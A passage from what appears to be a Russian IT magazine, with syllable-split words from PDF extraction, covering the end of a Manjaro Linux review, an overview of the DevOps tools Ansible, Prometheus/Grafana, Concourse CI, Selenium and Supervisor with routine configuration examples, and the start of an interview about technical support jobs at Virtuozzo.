визу аль ной уни фика ции. Изме нения кос нулись внеш него вида сетевых
ресур сов и офор мле ния дис три бути ва. Появи лись собс твен ный баг тре кер
и стра ница про вер ки ста туса син хро низа ции зер кал. Финаль ным аккордом
ста ло пре обра жение логоти па, который сде лали квад ратным. При этом
пер вая вер тикаль ная чер та сли лась с L‐образной частью, прев ратив шись
в перевер нутую L. Это смот релось сим волич но, так как Роланд Зин гер
незадол го до это го покинул про ект.

•

ФИРМЕННЫЙ ЗЕЛЕНЫЙ
Manjaro отли чает ся ярким самобыт ным интерфей сом. Осно ву цве товой гам ‐
мы  офор мле ния  сос тавля ет  зеленый  в  сочета нии  с  раз личны ми  оттенка ми
серого.  Сис тема  име ет  собс твен ные  знач ки  и  кур соры,  собс твен ные  темы
офор мле ния  рабоче го  сто ла  и  при ложе ний  и,  конеч но,  «новые  нес кучные
обои».  Все  это  пред лага ют  темы  офор мле ния Maia  и  Vertex‐Maia  в  зависи ‐
мос ти от выб ранно го рабоче го окру жения.

Manjaro име ет три офи циаль ные редак ции: XFCE, KDE и, с недав них пор,
GNOME.  Нем ного  особ няком  сто ит  сетевой  инстал лятор  Manjaro‐Architect,
некото рое  вре мя  назад  при шед ший  на  сме ну  Manjaro  NET  Edition.  В  нем
не  пре дус мотре но  гра фичес ких  ком понен тов  вооб ще.  Manjaro‐Architect  —
это конс трук тор, с помощью которо го мож но уста новить сис тему любой кон ‐
фигура ции,  заг ружая  нуж ные  пакеты  через  интернет. Этим он  силь но  похож
на Arch Linux.

Мно жес тво вари антов пред нас тро енных рабочих сто лов, дос тупных к уста нов ке в Man‐
jaro Linux

Кро ме  того,  инс тру мен ты  раз работ чика,  под готов ленные  коман дой Manjaro,
поз воля ют любому соб рать свой собс твен ный уста новоч ный Live CD с любым
набором прог рам мно го обес печения и рабочим окру жени ем. Имен но поэто ‐
му,  помимо  офи циаль ных  редак ций Manjaro,  сущес тву ет  целая  пле яда  раз ‐
личных  редак ций,  под держи ваемых  сооб щес твом  поль зовате лей  самос ‐
тоятель но:  Cinnamon,  Deepin,  i3,  LXQt,  Mate,  JVM,  PekWM,  Openbox,  Lxde,
Fluxbox, Enlightenment, BspWM, Budgie и даже аске тич ная ста биль ная сбор ка
KDE  с  минималь ным  набором  ком понен тов  от  энту зиас тов  рус ско языч ного
сооб щес тва.

ВЫВОДЫ
Уни каль ная  осо бен ность  Manjaro  в  том,  что  это  дис три бутив  для  всех.
В самой сво ей осно ве Manjaro — это типич ный Arch Linux, прос той, изящ ный
и  очень  дру желюб ный  к  тем,  кому  нуж на  пол ностью  под кон троль ная  юзе ру
сис тема. Да, здесь боль шое количес тво пре дус танов ленно го соф та, который
при ходит ся  уда лять,  но  сде лать  это  нуж но  один  раз  —  и  боль ше  не  вспо ‐
минать.

С  дру гой  сто роны,  Manjaro  дей стви тель но  дру жес твен ный  поль зовате лю
дис три бутив, который, в отли чие от аске тич ного арча, пред лага ет юзе ру пол ‐
ностью нас тро енную и готовую к работе сре ду с необ ходимым набором инс ‐
тру мен тов.  Иног да,  конеч но,  при дет ся  полазить  по  фай лам  кон фигура ции,
но в целом все мож но сде лать, исполь зуя гра фичес кие ути литы.

Ес ли сто ит выбор, что уста новить на новую машину, то, воз можно, луч ше
быс тро пос тавить Manjaro и со вре менем допилить уже готовую сис тему, чем
возить ся с уста нов кой арча и прев ращени ем сис темы в юза бель ный дес ктоп.

WWW

•Офи циаль ный сайт
•Офи циаль ный форум
•Стра ница Wiki
•Фо рум рус ско языч ного сооб щес тва
•Груп па рус ско языч ного сооб щес тва в Telegram

mailto:ostapenko.public@gmail.com
https://manjaro.org/
https://forum.manjaro.org/
https://wiki.manjaro.org/
https://manjaro.ru/
https://t.me/manjarolinux
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SYNACK

Слож но пред ста вить сегод няшнюю раз работ ку без DevOps‐
спе циалис та  (Development  +  Operations),  как  клей,  соеди ‐
няюще го  нес коль ко  про цес сов —  раз работ ку,  деп лой,  тес ‐
тирова ние  и  даль нейшее  соп ровож дение.  Что бы  укла ‐
дывать ся  в  сро ки  и  при  этом  выпус кать  качес твен ный  про ‐
дукт,  абсо лют но  все  про цес сы  необ ходимо  авто мати зиро ‐
вать  и  кон тро лиро вать.  И  конеч но,  здесь  выруча ют  спе ‐
циали зиро ван ные инс тру мен ты. Пред став ляем пятер ку must
have при ложе ний, без которых слож но обой тись.

ANSIBLE
За дача  номер  один  в  любой  орга низа ции —  авто мати зация  раз верты вания
ПО и при ложе ний, нас трой ка сер веров. На сегод ня дос тупно более двад цати
сис тем  управле ния  кон фигура цией,  из  них  самые  извес тные — Chef, CFEn‐
gine,  Puppet,  но  ,  появив ший ся  поз же  всех,  в  2012  году,  поль зует ся
наиболь шей  популяр ностью. При чина — низ кий  порог  вхо да, мак сималь ная
прос тота  работы  и  безопас ность.  На  уда лен ных  сис темах  для  управле ния
не исполь зуют ся аген ты, все про изво дит ся через SSH. Для под клю чения нас ‐
тра ивает ся  бес пароль ная  аутен тифика ция  при  помощи  клю чей,  так же  под ‐
держи вает ся LDAP и Kerberos.

Ansible

Воз можно  выпол нение  на  уда лен ных  узлах  оди ноч ной  коман ды,  скрип та
или  любых  опе раций,  выпол няемых  обыч но  вруч ную:  про вер ки  сос тояния,
уста нов ки, уда ления пакетов, соз дания учет ных записей и прав, копиро вания
дан ных,  управле ния  сис темой,  сер висами  и  мно гих  дру гих.  При чем  боль ‐
шинс тво фун кций реали зова ны с помощью модулей, упро щающих написа ние
кода,  при  необ ходимос ти  мож но  исполь зовать  сис темные  коман ды  нап ‐
рямую,  хотя  это  рекомен дует ся  толь ко  для  тех  слу чаев,  ког да  это  дей стви ‐
тель но необ ходимо. Спи сок модулей есть на  .сай те про екта

Кро ме Linux, работа ет и под дру гими ОС, вклю чая и Win. Под держи вают ся
Cloud‐сер висы  —  Amazon,  Azure,  Digital  Ocean,  сетевое  обо рудо вание
некото рых  про изво дите лей.  Есть  отсылка  сооб щений  и  мно гое  дру гое.
Задачи могут выпол нять ся как пооче ред но на каж дом узле, так и син хрон но.

В Ansible для работы исполь зует ся два фай ла. Один содер жит спи сок хос ‐
тов, раз битых по груп пам (inventory), вто рой — спи сок задач, которые нуж но
выпол нить (playbook). Про екты обыч но рас полага ются в отдель ных катало гах.
В  качес тве  inventory  по  умол чанию  исполь зует ся  /etc/ansible/hosts,  хотя  его
мож но ука зать в стро ке вызова плей бука, поэто му при работе с нес коль кими
про екта ми  inventory  рас полага ют  внут ри  катало га  про екта  и  ука зыва ют  имя
в  стро ке  запус ка  при  помощи  парамет ра  ‐i.  Груп пировать  узлы  мож но
как удоб но, по наз начению или рас положе нию.

[Web]
    192.168.1.1
    192.168.1.2
    db.example.com
[Mail]
    192.168.1.1
    mail.example.com

Есть  еще  два  типа  не  SSH‐под клю чения:  local  и  docker.  Под держи вают ся
груп пиров ка  групп  и  перемен ные,  динами чес кое  соз дание  спис ка  узлов
при  помощи  скрип та.  Перемен ные  под клю чения  поз воля ют  ука зать  нес ‐
тандар тный  порт,  спе цифи чес кую  учет ную  запись  для  выпол нения  команд,
ключ для вхо да и тому подоб ное:

db.example.com ansible_port=1234 ansible_host=192.0.0.5 ansible_user=
user

Вся  магия  скры та  в  плей буках.  В  playbook  исполь зует ся  фор мат  сери али ‐
зации  дан ных  YAML,  который  лег ко  чита ется.  Нап ример,  уста нов ка  nginx
при помощи модуля apt в Ubuntu/Debian выг лядит так:

‐ name: Install the nginx packages 
  apt: 
  name: nginx
  state: present 
update_cache: yes
  when: ansible_os_family == "Debian"

Опе ратор when поз воля ет добав лять в пра вило любые про вер ки.
За дачу  быс тро го  стар та  упро щает  ,  пре дос тавля ющий  готовые  поль ‐

зователь ские решения бук валь но для всех  задач. Дос таточ но лишь выб рать
под ходящий,  ско пиро вать  вруч ную  с  GitHub  или  при  помощи  ansible‐galaxy,
и база для работы уже есть.

хаб

ansible‐galaxy install username.rolename

Каж дая  роль  содер жит  спи сок  задач  (task),  шаб лоны  и  фай лы  для  копиро ‐
вания.  Перемен ные  в  шаб лонах  поз воля ют  под став лять  раз ные  парамет ры
внутрь при копиро вании на узлы. Задачи выпол няют ся пос ледова тель но, оче ‐
ред ная начина ет выпол нять ся пос ле успешно го завер шения текущей. В слу ‐
чае ошиб ки на каком‐то узле он исклю чает ся из спис ка, на осталь ных выпол ‐
нение  про дол жает ся.  Это  защища ет  от  час тично го  выпол нения  playbook,
но если задача свя зан ная (нап ример, раз верты вание клас тера), то отсутс тву ‐
ющий  узел  дела ет  даль нейшее  выпол нение  бес полез ным.  Нап ример,  про ‐
верим дос тупность  всех  узлов,  опи сан ных  в фай ле  inventory.ini,  при  помощи
модуля ping:

$ ansible all ‐‐inventory‐file=inventory.ini ‐‐module‐name ping

Смот рим спи сок узлов и про веря ем син таксис плей бука:

$ ansible‐playbook ‐i inventory.ini playbook.yml ‐‐list‐hosts
$ ansible‐playbook ‐i inventory.ini playbook.yml ‐‐syntax‐check

За пус каем:

$ ansible‐playbook ‐i inventory.ini playbook.yml

Ansible поз воля ет пол ностью реали зовать идею Infrastructure as Code и отдать
обыч но  слож ные  опе рации  нес пеци алис ту,  которо му  пос ле  кон фигури рова ‐
ния  нуж но  будет  выпол нить  одну  коман ду.  Хотя  тому,  кто  соз дает  playbook,
все‐таки  нуж но  понимать  про цес сы:  уста нов ка  одной‐двух  прос тых  ролей
обыч но про ходит без проб лем, но, если ролей уже десяток, нуж но запус кать
их  в  пра виль ном  поряд ке.  Нап ример,  если  сер вис  в  клас тере  исполь зует
GlusterFS,  то  логич но  вна чале  ста вить GlusterFS,  а  потом  сер вис.  К  тому же
не  всег да  best  practices  при мени мы  к  некото рым  при ложе ниям.  Нап ример,
перезаг рузку  сер виса  рекомен дуют  делать  не  нап рямую  коман дой,  а  через
handlers, который переза пус кает его, ког да логич но. Но, нап ример, при раз ‐
верты вании мас тер — мас тер  клас тера MariaDB луч ше  кон тро лиро вать этот
про цесс  вруч ную,  пос коль ку  handlers,  как  наз ло,  переза пус кает  сер висы
имен но в тот момент, ког да они син хро низи руют ся.

 очень под робная и содер жит мно жес тво при меров.До кумен тация

На Galaxy мож но най ти готовые плей буки под раз ные задачи

Про веря ем дос тупность узлов

PROMETHEUS + GRAFANA
Без  сис темы  монито рин га  любое  при ложе ние  —  это  чер ный  ящик.  Очень
слож но  ска зать,  что  там  про исхо дит  внут ри  при  уве личе нии  наг рузки.  Сами
при ложе ния  уже  дав но  не монолит ны,  час ти  вза имо дей ству ют  меж ду  собой
по API, а их работу обес печива ет не толь ко LAMP, но и дру гие сер висы (Elast‐
icsearch,  RabbitMQ…).  Мет рики  поз воля ют  пос мотреть  работу  ком понен тов
в динами ке и понять, где узкое мес то.

Од но  из  наибо лее  под ходящих  решений  сбо ра  мет рик  и  монито рин га
в  сов ремен ной  динами чес кой  сети —  связ ка    и  .  В  Pro‐
metheus исполь зует ся децен тра лизо ван ная архи тек тура, поз воля ющая лег ко
добав лять сер висы и сер веры. На уда лен ные хос ты уста нав лива ются аген ты,
которые при помощи заранее под готов ленных уста новок обна ружи вают авто ‐
мати чес ки  запущен ные  на  узле  при ложе ния,  в  том  чис ле  зна ют  и  про  вир ‐
туали зацию.  Это  все  очень  упро щает  адми нис три рова ние.  Под держи вает ся
опо веще ние  и  прос тые  гра фики  для  визу аль ного  пред став ления  соб ранных
дан ных.  В  нас тоящее  вре мя  дос тупны  аген ты  для  узла  (node_exporter),
MySQL, Memcached,  HAProxy,  Consul,  Blackbox,  SNMP  и  дру гие.  Так же  Pro‐
metheus  может  при нимать  мет рики  от  кли ентов  сто рон них  раз работ чиков.
Самый  популяр ный  —  ,  под держи вающий  око ло  80  пла гинов
для получе ния мет рик с Apache, nginx, Varnish, СУБД, Docker, Kubernetes, log‐
parser и так далее.

Prometheus Grafana

Telegraf

Па кет  Prometheus  есть  в  репози тори ях  основных  дис три бути вов,  но  там
далеко не пос ледняя вер сия, поэто му луч ше брать бинар ные сбор ки с сай та
про екта. Все источни ки дан ных затем про писы вают ся в /etc/prometheus/pro‐
metheus.yml, в фор ме:

scrape_configs:
  ‐ job_name: 'node'
static_configs:
  ‐ targets: ['localhost:9090']     
labels: {'host': 'prometheus'}

В  job_name  про писы вают ся  хос ты  с  оди нако выми  нас трой ками,  labels  поз ‐
воля ют отби рать затем мет рики по допол нитель ным парамет рам.

Пос ле кон фигури рова ния про веря ем отсутс твие оши бок при помощи ути ‐
литы promtool.

$ promtool check‐config /etc/prometheus/prometheus.yml

И запус каем пер вый раз в кон соли, что бы видеть вывод:

$ prometheus ‐config.file /etc/prometheus/prometheus.yml

Под клю чив шись  бра узе ром  на  localhost:9090,  можем  уви деть  информа цию
о  работе  Prometheus,  прос мотреть  соб ранные  мет рики  в  виде  дан ных
или гра фиков, узнать ста тус аген тов.

Мет рик Prometheus собира ет мно го, а штат ный интерфейс по их визу али ‐
зации  силь но  огра ничен.  Здесь  на  помощь  при ходит  Grafana,  уме ющий
из  короб ки  выводить  мет рики,  пре дос тавля емые  Prometheus,  Graphite,  In‐
fluxDB, Elasticsearch, AWS и, при помощи пла гинов, мно гими дру гими. Пос ле
выбора источни ков (Data Sources) нас тра ивают ся даш борды. Под держи вает ‐
ся  нес коль ко  вари антов  гра фиков,  а  встро енный  язык  зап росов  поз воля ет
получать  любые  дан ные.  При чем  на  сай те  про екта  уже  есть  готовые  dash‐
board (в фор мате JSON), которые лег ко импорти руют ся и при необ ходимос ти
редак тиру ются.  Для  выбора  пра виль ных  мет рик  мож но  вос поль зовать ся
поис ком Metric  lookup,  рас положен ным пра вее стро ки Query. Но  глав ное —
под держи вают ся  шаб лоны  (Manage  Dashboard  →  Templating).  Так,  ука зав
перемен ную  host  (нап ример,  $host  =  label_values(host)),  мож но  затем  ее
исполь зовать в мет риках вмес то име ни узла или IP:

cpu_usage_system{host="$host"}

Пос ле чего нуж ный узел надо прос то выб рать в даш борде. Дос тупны алер ты
с воз можностью отсы лать сооб щения по элек трон ной поч те, HipChat, Slack,
Telegram и некото рых дру гих. Для это го пот ребу ется уста новить кри тичес кое
зна чение мет рики, вве дя зна чение вруч ную или переме щая сер дечко спра ва
от  гра фика,  и  вклю чить метод  отправ ки  пре дуп режде ний  в  Alerting →  Notif‐
ication  List.  Но  в  текущей  вер сии  4.2  алер ты  не  под держи вают  даш борды
с шаб лонами. Поэто му необ ходимо под них соз давать отдель ный dashboard
без шаб лонов,  в  котором  про писать  толь ко  те  парамет ры  пре дуп режде ния,
которые мы хотим получать. Обыч но для это го прос то копиру ют готовый гра ‐
фик, уби рая перемен ные.

Про ект пре дос тавля ет исходный код и сбор ки для Linux, Windows, macOS
и кон тей нер Docker. Для Ubuntu есть  готовый пакет и репози торий, поэто му
уста нов ка  слож ностей не пред став ляет. По  умол чанию для  сох ранения нас ‐
тро ек  и  дан ных  исполь зует ся  SQLite.  При  боль шом  количес тве  узлов  име ет
смысл исполь зовать MySQL или PostgreSQL.

Гра фики Grafana наг лядны и поз воля ют бук валь но уви деть проб лемы

Вы бор каналов для отсылки алер тов в Grafana

CONCOURSE CI
Ав томати чес кая  сбор ка  про ектов  (Continuous  Integration)  пос ле  обновле ния
кода  эко номит  кучу  вре мени,  пос коль ку  дает  воз можность  сра зу  уви деть
резуль тат — есть ли прог ресс и есть ли ошиб ки. Docker еще боль ше упростил
задачу: про тес тировать мож но сра зу в раз ных сре дах. При ложе ний, поз воля ‐
ющих  внед рить  CI  в  про цесс,  сегод ня  мно го,  но  час то  они  не  бес плат ны
и дос таточ но слож ны,  так  что  тре буют прив лечения спе циалис та. 
  поз воля ет  реали зовать  неп рерыв ную  интегра цию  в  корот кие  сро ки,  он

прост в раз верты вании и не тре бует дли тель ного изу чения. Как стро ить Dock‐
er‐обра зы при изме нении  кода в Git, мож но разоб рать ся бук валь но за пару
часов.  Так же  под держи вает ся  интегра ция  с  AWS S3,  отправ ка  уве дом лений
по email и HipChat, выпол нение команд и мно гое дру гое.

Concourse
CI

Ба зиру ется  Concourse  CI  на  трех  поняти ях:  задачи  (tasks),  ресур сы  (re‐
sources)  и  задания  (jobs).  Задача  в  общем  слу чае  —  это  любая  коман да,
исполь зуемая  при  сбор ке  кон тей нера.  Ресурс  —  это  любой  объ ект,  сос ‐
тояние и вер сию которо го мож но отсле дить. То есть это имен но то, что поз ‐
воля ет  все  запус кать  авто мати чес ки.  Изна чаль но  под разуме вает ся Git,  хотя
это может быть и прос то тай мер. Пол ный спи сок офи циаль ных и неофи циаль ‐
ных ресур сов дос тупен на  . Задание опи сыва ет дей ствия, которые будут
запуще ны при изме нении отсле жива емых ресур сов или вруч ную. Сами дей ‐
ствия  опи сыва ются  в  пла не  сбор ки —  тес ты,  выпол нение  команд  и  сбор ка
кон тей нера  Docker.  Для  выпол нения  нуж ного  дей ствия  ресур сы  и  задания
меж ду  собой  свя зыва ются  при  помощи  кон вей ера  (pipelines).  Дан ные
о pipelines и жур налы работы сох раня ются в PostgreSQL, поэто му всег да мож ‐
но ска зать, кто что делал.

сай те

Па рамет ры мож но задавать как непос редс твен но в коман дной стро ке, так
и в кон фигура цион ном фай ле YAML. На сай те есть мно жес тво при меров, поз ‐
воля ющих  разоб рать ся  в  про цес се.  Для  управле ния  и  руч ного  запус ка
заданий  исполь зует ся  ути лита  Fly,  прос матри вать  резуль таты  и  запус кать
задания так же мож но через веб‐интерфейс.

Про ект  пре дос тавля ет  бинар ники  для  Linux,  macOS  и  Windows,  готовые
обра зы Docker и Vagrant.

Прос той pipelines в Concourse CI

ФУНКЦИОНАЛЬНОЕ ТЕСТИРОВАНИЕ
Деп лой  про екта  —  это  лишь  пол дела,  и  без  про вер ки  работос пособ ности
при ложе ния он прак тичес ки бес полезен. Поэто му любой мало‐маль ски дель ‐
ный  про ект  вклю чает  в  себя QA‐тес тиров щика,  выпол няюще го  пакет  тес тов
и  фик сиру юще го  резуль тат.  Если  при ложе ние  одно,  то,  навер ное,  впол не
реаль но  на  про межу точ ных  сбор ках  про вес ти  некото рые  базовые  дей ствия
вруч ную. Если же резуль татом дол жен быть десяток обра зов для самых раз ‐
ных кон фигура ций, то без хотя бы прос тей шей авто мати зации здесь не обой ‐
тись.  Сре ди  решений  для  тес тирова ния  веб‐при ложе ний  осо бой  популяр ‐
ностью поль зует ся  , фак тичес ки став ший стан дартом в этой области.
Осно вой слу жит биб лиоте ка управле ния бра узе рами Selenium (ранее Seleni‐
um WebDriver), сос тоящая из кли ент ских биб лиотек на раз ных язы ках и драй ‐
веров бра узе ров. На сегод ня раз работа ны драй веры для FF, Chrome, IE, Op‐
era, Safari и ряда мобиль ных устрой ств. Они находят ся на раз ных эта пах раз ‐
работ ки и, соот ветс твен но, тре буют раз ного вни мания. Так же про ект пре дос ‐
тавля ет Selenium IDE в виде рас ширения к FF, которое поз воля ет записы вать,
сох ранять  и  вос про изво дить  сце нарии  тес тирова ния  любых  при ложе ний,
дос тупных  через  бра узер.  Записан ные  сце нарии  сох раня ются  в  фор мате
HTML  в  виде  таб лицы,  которую  мож но  редак тировать.  Воз можен  экспорт
в  фор мат,  понима емый  дру гими  фрей мвор ками  для  про веде ния  тес тов  —
NUnit,  TestNG,  JUnit,  хотя,  приз нать ся,  спе циалис ты  ред ко  исполь зуют  сге ‐
нери рован ные тес ты в дру гих сре дах, а все пишут сами.

Selenium

Прин цип работы прост. Пос ле  уста нов ки Selenium  IDE ярлык для  запус ка
находит ся в меню «Инс тру мен ты» (Ctrl + Alt + S). Откры ваем в бра узе ре сайт
и начина ем запись. Затем пос ледова тель но выпол няем все нуж ные дей ствия.
Пос ле записи можем запус кать сце нарий как вруч ную, так и по рас писанию.
Есть  воз можность  уста нав ливать  брейк‐пой нты  и  регули ровать  ско рость
выпол нения и про чее.

Для неболь ших про ектов это го  впол не дос таточ но,  хотя  это не  вся авто ‐
мати зация Selenium. Еще один эле мент, раз рабаты ваемый про ектом, — Sel‐
enium Server, который поз воля ет выпол нять в бра узе ре коман ды, получен ные
из  сце нария,  запущен ного  с  локаль ной  или  уда лен ной машины.  Хотя  здесь,
конеч но, желатель но уже поз накомить ся с фрей мвор ком тес тирова ния  ,
без  которо го  точ но не обой тись. Нес коль ко  сер веров Selenium могут обра ‐
зовы вать рас пре делен ную сеть (Selenium Grid), поз воля ющую лег ко мас шта ‐
биро вать стенд авто мати зации, запус кая парал лель но раз ные тес ты на раз ‐
ных  уда лен ных  машинах,  в  ито ге  вре мя  тес тирова ния  сок раща ется.  Плюс
в этом слу чае — мож но  запус тить Selenium Server  с раз ными парамет рами,
а  нуж ный  узел  будет  выб ран  для  тес та  авто мати чес ки.  Основные  воп росы
осве щены в   про екта.

Behat

до кумен тации

Тес тирова ние в Selenium IDE

SUPERVISOR
На сер вере, осо бен но исполь зуемом при раз работ ке, при ходит ся запус кать
мно го  вся ких  прог рамм,  уста нов ленных  не  при  помощи  сис темно го  менед ‐
жера пакетов, которые дол жны работать пос тоян но, переза пус кать ся в слу чае
ошиб ки  и  рес тарта  сер вера.  Нап ример,  при ложе ния  Node.js,  Selenium,
самопис ные  скрип ты.  В  прин ципе,  мож но  написать  init/systemd‐скрип ты,
но обыч но это тре бует боль ше вре мени, и не всег да получа ется нуж ный кон ‐
троль.  Выходом  из  ситу ации  может  быть  менед жер  про цес сов  ,
пред лага ющий  прос той  и  надеж ный  спо соб  управле ния  работой  таких  при ‐
ложе ний.  Демон  supervisord  запус кает  про цес сы  как  дочер ние,  а  поэто му
может  отсле живать  и  при  необ ходимос ти  их  авто мати чес ки  переза пус кать.
Для  монито рин га  работы  и  управле ния  нас трой ками  на  лету  исполь зует ся
кон соль ная  ути лита  supervisorctl  и  веб‐интерфейс  (вклю чает ся  при  помощи
inet_http_server).  Нуж ный  пакет  уже  есть  в  репози тори ях  дис три бути вов,
поэто му с уста нов кой проб лем не воз никнет:

Supervisor

$ sudo apt install supervisor

Кон фигура цион ные фай лы рас полага ются в /etc/supervisor/conf.d, файл дол ‐
жен иметь рас ширение conf.  Тра дици онно нас трой ки  каж дого сер виса про ‐
изво дят ся в одном фай ле. Хотя, если нуж но запус тить нес коль ко копий с раз ‐
ными уста нов ками, мож но для удобс тва про писы вать в одном. Для при мера
нас тро им запуск Selenium через Supervisor.

$ sudo nano /etc/supervisor/conf.d/selenium.conf
[program:selenium]
command=java ‐Dwebdriver.chrome.driver=/usr/local/bin/chromedriver ‐
jar /opt/selenium/selenium‐server‐standalone.jar ‐port %(ENV_SE
LENIUM_PORT)s
priority=10
user=selenium
directory=/home/selenium
environment=HOME="/home/selenium"
autostart=true
autorestart=true

Па рамет ры оче вид ны. В program:selenium ука зыва ется имя, под которым сер ‐
вис  будет  дос тупен  в  supervisorctl.  В  command  ука зыва ется  стро ка  запус ка
прог раммы со все ми парамет рами, user — учет ная запись, от име ни которой
будет выпол нена прог рамма. Далее  каталог,  в  котором она будет  запуще на
(он дол жен быть соз дан). Парамет ры autostart и autorestart опре деля ют запуск
прог раммы при заг рузке ОС и переза пуск в слу чае оста нов ки. При true прог ‐
рамма  пос ле  оста нов ки  будет  переза пус кать ся  всег да,  даже  если  она  нор ‐
маль но отра бота ет свой цикл. Если переза пуск нужен толь ко в слу чае сбоя,
сле дует  исполь зовать  параметр  unexpected.  В  докумен тации  мож но  най ти
еще  мно го  парамет ров  на  самые  раз ные  ситу ации.  Перечи тыва ем  кон ‐
фигура цию:

$ sudo supervisorctl reread

Ес ли оши бок нет, при меня ем нас трой ки:

$ sudo supervisorctl update

Ес ли нуж но отклю чить какой‐то сер вис, то луч ше это сде лать, исполь зуя инте ‐
рак тивный режим:

$ sudo supervisorctl

По явит ся приг лашение, все коман ды мож но узнать, вве дя help:

supervisor> help

Пе реза пус тим selenium

supervisor> restart selenium
supervisor> status selenium
supervisor> quit

ВЫВОД
Это то, что нуж но обя затель но знать. Но это толь ко вер хушка айсбер га: Dev‐
Ops за восемь лет оброс мно гочис ленны ми инс тру мен тами и тех нологи ями,
а тре бова ния к спе циалис ту раз ные. Поэто му учить ся при дет ся пос тоян но.
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Ком пания  Virtuozzo  —  раз работ чик  гипер конвер ген тной
плат формы,  в  осно ве  которой  лежат  тех нологии  вир туали ‐
зации  и  хра нения  дан ных.  Мы  погово рили  с  менед жерами
ком пании,  что бы  узнать,  кто  и  как  раз рабаты вает  такие
решения  в  Рос сии,  а  так же  рас ска зать  читате лю о  том,  что
нуж но, что бы пой ти работать в такую фир му.

Как  и  в  любой  дру гой  ком пании,  в  Virtuozzo  есть  нес коль ко  отде лов,
или  команд:  коман да  тех ничес кой  под дер жки,  коман да  раз работ чиков,
коман да  прог рам‐менед жеров,  а  так же  один  человек,  заменя ющий  собой
целый отдел, — раз работ чик ядра Linux. Теоре тичес ки ты можешь попытать ся
тру доус тро ить ся  в  любую  из  этих  команд,  но  обра ти  вни мание  на  уро вень
слож ности.

Все, кто сидят на стуль ях под инфраз вуковы ми излу чате лями, очень быс ‐
тро ста новят ся фаната ми Virtuozzo

Про ще  все го  устро ить ся  на  работу  в  груп пу  тех ничес кой  под дер жки.  Тебе
дос таточ но  уметь  раз говари вать  на  англий ском,  а  так же  иметь  пред став ‐
ление  о  коман дной  стро ке  (пусть  и  в  Windows  —  даже  Linux  знать  необя ‐
затель но) и понимать, как работа ет сеть. Под робнее о работе тех поддер жки
рас ска жет Мария Анто нова, руково дитель груп пы тех ничес кой под дер жки.

МАРИЯ АНТОНОВА, РУКОВОДИТЕЛЬ ГРУППЫ ТЕХНИЧЕСКОЙ
ПОДДЕРЖКИ

 инже нер тех поддер жки 
 EASY 

  раз говор ный  англий ский,  стрес соус той -
чивость, толеран тность, зна ние Linux и сетей  

 зна ние Linux и сетей, зна ние Virtuozzo,
опыт обще ния на англий ском 

  стар ший инже нер  тех поддер жки, дру гие
дол жнос ти в ком пании

Ра бота:
Уро вень слож ности:
Не обхо димые  зна ния:

Что получишь кро ме денег:

Карь ерные воз можнос ти:

Я руково жу  груп пой  тех ничес кой под дер жки Virtuozzo. Ког да у  кли ентов воз ‐
ника ют какие‐то проб лемы с инстал ляци ей или с исполь зовани ем наших про ‐
дук тов, они при ходят к нам. Обра щения быва ют самые раз ные: от нес пешной
нас трой ки или ана лиза про изво дитель нос ти до авра лов с лежащим про дак ‐
шен‐сер вером. И хотя по фак ту мы фрон тлайн — все заяв ки сра зу попада ют
в мою коман ду, — по слож ности заявок мы вто рая линия.

Каж дый  новый  слу чай  —  это  неболь шое  детек тивное  рас сле дова ние.
Люди  обра щают ся  с  жалоба ми  на  то,  что  что‐то  не  работа ет,  но,  что бы
понять,  что  слу чилось,  при ходит ся  копать  глу боко,  выис кивать  узкие  мес та.
Это очень инте рес но, час то нуж но при думы вать какие‐то нес тандар тные спо ‐
собы решения проб лем.

Иног да  даже  сам  не  замеча ешь,  как  про качи вают ся  какие‐то фун дамен ‐
таль ные,  базовые  зна ния ОС  и  сетей.  Ну  и  конеч но,  при ятно  решать  проб ‐
лемы и видеть резуль тат и доволь ных кли ентов. Ког да тебе говорят: «Чуваки,
у  меня  горел  про ект,  а  вы  все  под няли,  вы  такие  кру тые»,  —  это  отлично
мотиви рует.

Ма рия Анто нова

Ес тес твен но,  попада ются  и  кли енты,  реаги рующие  на  про изо шед шую  ситу ‐
ацию очень… эмо циональ но и рез ко. Начина ют писать кап сом, обры вать нам
телефо ны и нер вни чать. От это го никуда не деть ся, с этим нуж но уметь справ ‐
лять ся.  Дол жен  быть  опре делен ный  уро вень  стрес соус той чивос ти.  Но  в
целом  мы  обыч но  обща емся  с  прод винуты ми  и  адек ватны ми  людь ми  —
айтиш никами и сисад минами, которые раз бира ются в нашем про дук те.

У  нас  очень  мно го  заявок  от  кли ентов,  которых  мы  уже  зна ем.  Обыч но
в  ком пании  за  Virtuozzo‐инфраструк туру  отве чают  кон крет ные  люди,  и  они
и при ходят к нам в под дер жку от име ни этой ком пании. Есть кли енты, которых
мы зна ем по име нам, видели на фото в соци аль ных сетях. Осо бен но кли енты,
с которы ми при ходит ся сидеть в WebEx, потому что не все дают пря мой дос ‐
туп к инфраструк туре, с кем‐то проб лемы реша ем в онлайн‐сес сии.

Бы вает,  раз говоришь ся  и  вдруг  узна ешь,  что  кто‐нибудь  из  зарубеж ных
кли ентов  очень  хочет  при ехать  в  Рос сию,  в  какой‐то  опре делен ный  город,
выучить рус ский язык. То есть обще ние перехо дит и на лич ные темы.

Тем,  кто  хочет прий ти  к нам работать, нуж но знать англий ский на уров не
хотя  бы  intermediate,  потому  что  подав ляющее  боль шинс тво  кли ентов  —
за рубежом.

Об щаясь  с  кли ента ми  из  раз ных  стран,  раз ных  реги онов,  начина ешь
замечать раз ницу и подс тра ивать ся. К перепис ке с кли ента ми из Гер мании и,
к при меру, из Вьет нама нуж но под ходить по‐раз ному. В Азии своя спе цифи ‐
ка  —  час то  бес полез но  писать  раз верну тые  под робные  рекомен дации:
из пяти абза цев будет про читан толь ко пер вый, а воз можно, вооб ще толь ко
пер вое пред ложение. Иног да при ходит ся опус кать все веж ливос ти и писать
чуть ли не гру бо, что бы пре одо леть язы ковой барь ер. Раз бирать ся в подоб ‐
ных лин гвис тичес ких нюан сах тоже очень инте рес но.

Из тех ничес ких навыков нуж но понима ние работы сетей. Мно гие слож ные
слу чаи  свя заны  имен но  с  сетями.  При чем  нуж но  не  толь ко  понимать,
как работа ет сеть в нашем про дук те, но и знать осно вы — модель OSI, стек
про токо лов  TCP/IP,  что  такое  VLAN  и  так  далее.  Так же  нуж но  иметь  хотя  бы
минималь ный опыт работы с Linux.

Как видишь, сер верная боль ше все го похожа на самую обыч ную сер ‐
верную. Зато — без пыли, гря зи и домовых

На самом деле у меня нет каких‐то чет ко про писан ных тре бова ний и спис ка
навыков. Я смот рю на баланс: на англий ский, на понима ние основ ОС. Если
